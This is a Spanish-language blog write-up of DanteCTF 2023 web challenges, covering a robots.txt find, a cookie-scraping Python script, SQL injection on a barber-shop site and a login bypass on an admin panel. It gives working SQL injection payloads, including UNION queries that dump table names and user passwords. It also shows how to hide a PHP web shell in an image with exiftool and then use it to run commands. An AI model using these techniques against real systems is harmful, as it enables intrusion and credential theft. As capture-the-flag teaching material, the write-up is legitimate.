Skip to content

[DanteCTF 2023] Web challenges

7 minutos de lectura
Posted on:4 de junio de 2023 at 21:00

#Unknown Site 1

Author: Virgula

Imagen donde sale un robot y el logo de google, es el inicio del reto

¿Está claro no? No es necesaria mucha explicación…

Un robot y el logo de Google… pues directos a robots.txt

DANTE{Yo0_Must_B3_A_R0boTtTtTtTTtTAD6182_0991847}
/s3cretDirectory1/
/s3cretDirectory2/
/s3cretDirectory3/

#Unknown Site 2

Author: Virgula

En este nos manda de nuevo al sitio anterior y como se puede ver… hay 3 directorios super secretos! Entramos en cada uno de ellos, en los dos primeros hay dos textos y en el tercero una lista enorme de ficheros php. Si entramos en cualquier de ellos hay un simple texto, por lo que abro el inspector del navegador y miro lo tipico… localStorage, sessionStorage y cookies, en las que vemos una cosita interesante…

Una captura del inspector de chrome donde se ve una cookie llamada flag y con el valor nope

La primera prueba que hice fué ponerle valores a esa cookie… YES, YEP, YUP 🤣🤣

La otra opción era entrar en cada uno de los ficheros, ya que en las cabeceras de respuesta, es donde indicaba set-cookie. No era viable la opción de abrirlas a mano asi que hice un pequeño script de python.

import requests
import re
from pwn import *
from urllib.parse import unquote

initialProgress = log.progress("Realizando solicitud inicial")
response = requests.get("https://unknownsite.challs.dantectf.it/s3cretDirectory3/")

html = response.text
initialProgress.success("✅")
extractHrefProgress = log.progress("Extrayendo valores de href")



regex = r'<a[^>]+href=["\']([^"\']+)["\'][^>]*>'
hrefValues = re.findall(regex, html)
extractHrefProgress.success("✅")

getCookiesProgress = log.progress("Obteniendo cookies de todos los enlaces")

for idx,href in enumerate(hrefValues):
    url = f"https://unknownsite.challs.dantectf.it/s3cretDirectory3/{href}"
    response = requests.get(url)
    result = response.headers.get("set-cookie")
    getCookiesProgress.status(f"{idx}/{len(hrefValues) }")
    if result is not None and "nope" not in result.lower():
        getCookiesProgress.success("✅")
        log.success(f"La flag es: {unquote(result)}")
        break

Salida del script anterior


#Dante Barber Shop

Autor: rom7x

Inicio del reto

Como es habitual… analizamos el código de la web, aunque a primera vista se ve un enlace a login, que evidentemente, nos vamos directos. Login sencillo en cuanto aspecto del reto ¿Qué es lo primero que pruebo?

' OR 1=1 --

No funciona… asi que toca remirar el código de nuevo, etiqueta por etiqueta, linea por linea… En principio no hay nada que nos llame la atención, salvo esta parte… el grid de imágenes

<div class="image-grid">
  <img src="img/barber2.jpg" alt="Barber Shop" />
  <img src="img/barber3.jpg" alt="Barber Shop" />
  <img src="img/barber4.jpg" alt="Barber Shop" />
  <img src="img/barber5.jpg" alt="Barber Shop" />
  <img src="img/barber6.jpg" alt="Barber Shop" />
  <img src="img/barber7.jpg" alt="Barber Shop" />
</div>

¿Te has dado cuenta? ¿Y ahora? ¿Lo quieres saber ya?

Exacto, el nombre de las imágenes es correlativo PERO ¿por qué empieza en barber2? ¿Es raro no? Pues vamos a mirar la imagen barber1 a ver si existe. Imagen que pone user backup y tiene unas credenciales

Efectivamente, existe y ademas con sorpresa…

Hacemos login con ese usuario y contraseña para acceder al dashboard de la barbería. (barber/dant3barbersh0p_cLIVeSidag) Login sencillo en cuanto aspecto del reto

Vaya! Nos dice que no hay una flag para nosotros pero que podemos buscar clientes. Empezamos probando algunas inyecciones sql

' --
' ORDER BY name DESC-- Nos falla porque no hemos "comentado" el resto de la query que hay (Error: SQLite3::query(): Unable to prepare statement: 1, near "%": syntax error);
' ORDER BY name DESC -- ✅ Funciona la ordenación con lo que este formulario es vulnerable a SQLI
' ORDER BY flag -- ❌ -- Error: SQLite3::query(): Unable to prepare statement: 1, no such column: flag // Aqui intenté ver si tenia una columnas llamada flag

Después de muuucho investigar y leer sobre SQLI, empiezo a ver BLIND SQLI y UNION ATTACK, estas dos cosas se suelen utilizar para averiguar las columnas de una tabla sin conocer el schema.

Empezamos las pruebas…

' UNION SELECT NULL, NULL, NULL FROM customers --
OUTPUT
Error: SQLite3::query(): Unable to prepare statement: 1, SELECTs to the left and right of UNION do not have the same number of result columns

Aqui he dado por hecho un par de cosas:

Ahora toca ver si realmente estamos en lo cierto…

Comenzamos con Union Attack para averiguar el número de columnas, en las pruebas anteriores probé con 3 columnas y me decia que el número de columnas devueltas con el union era distinto… con lo que

' UNION SELECT NULL, NULL, NULL, NULL FROM customers --

Se ha aplicado Union Attack y se ve una fila vacia

Ha funcionado con 4 columnas, por lo que la tabla customer tiene 4 columnas. Toca averiguar las tablas que tenemos disponibles, para esto busco información sobre SQLite, que según los errores anteriores es las base de datos utilizada. Para ver las tablas que hay en la base de datos hay que realizar queries sobre sqlite_master. Si consideramos que la primera columna (que no se muestra) es el id, intentamos que en la columna del nombre (name) aparezca el nombre (columna name de sqlite master) de las tablas.

' UNION SELECT NULL, name, NULL, NULL FROM sqlite_master --

Se ha aplicado Union Attack y se ve una fila con nombres de tablas

Tenemos 3 tablas, y dos que nos interesa customers y users. Pero nos centramos en user para intentar ver los usuarios y sus contraseñas. ¿Lo más normal es que las columnas se llamen username y password no?

Ese es nuestro objetivo

' UNION SELECT NULL, username, password, NULL FROM users --

Se ha aplicado Union Attack y se ve una fila con nombres de tablas

Anda! Tenemos un usuario admin… Pues al login que vamos… Dashboard del reto con el flag


#Dumb Admin

Autor: Virgula

Nueva prueba de inyección sql típica, al hacerla y poner de contaseña ’aaa’, nos devuelve un mensaje de ‘Invalid password format’. Hay una validación en la contraseña, itento una contaseña con mas caracteres, mayúsculas y números… aaaAAA1234 junto a la típica SQLI, ’ OR 1=1 — y efectivamente entramos al dashboard. Dashboard del reto con el flag

Viendo la pantalla, todo nos hace indicar que hay que conseguir subir un fichero capaz de ejecutar comandos. Probamos a subir un fichero php tal cual, pero nos devuelve un mensaje el servidor: The extension ‘.php’ indicate it is not an image!

Como es normal, cambiamos la extensión del fichero de .php por .jpg.php y aún así nos devuelve otro error: Uploaded file seems to be not a real image!

Hay alguna libreria que está validando la imagem, tendremos que camuflar el código php en una imagen válida…

Utilizando exiftool podemos conseguir este propósito, tenemos una imagen válida de un 1px y le agregamos unos metadatos, concretamente un comentario:

<?php system($_GET['cmd']) ?>

Quedando el comando de la siguiente manera:

exiftool -Comment="<?php system(\$_GET['cmd']) ?>" image.jpg

Y a esta imagen le agregamos el .php, la subimos y parece que todo ha ido como quería: Se puede ver que se ha subido correctamente la imagen con un guid como nombre

Abrimos la imagen en una nueva pestaña y como hemos creado un fichero que ejecuta comandos en el sistema, con el parámetro cmd.

directoriodeimagenes/guid_de_la_imagen.jpg.php?cmd=whoami

Imagen con caracteres no imprimibles de la "imagen" y el resultado del whoami Nos queda probar:

directoriodeimagenes/guid_de_la_imagen.jpg.php?cmd=cat ../../../../flag.txt

Imagen con caracteres no imprimibles de la "imagen" y el resultado del whoami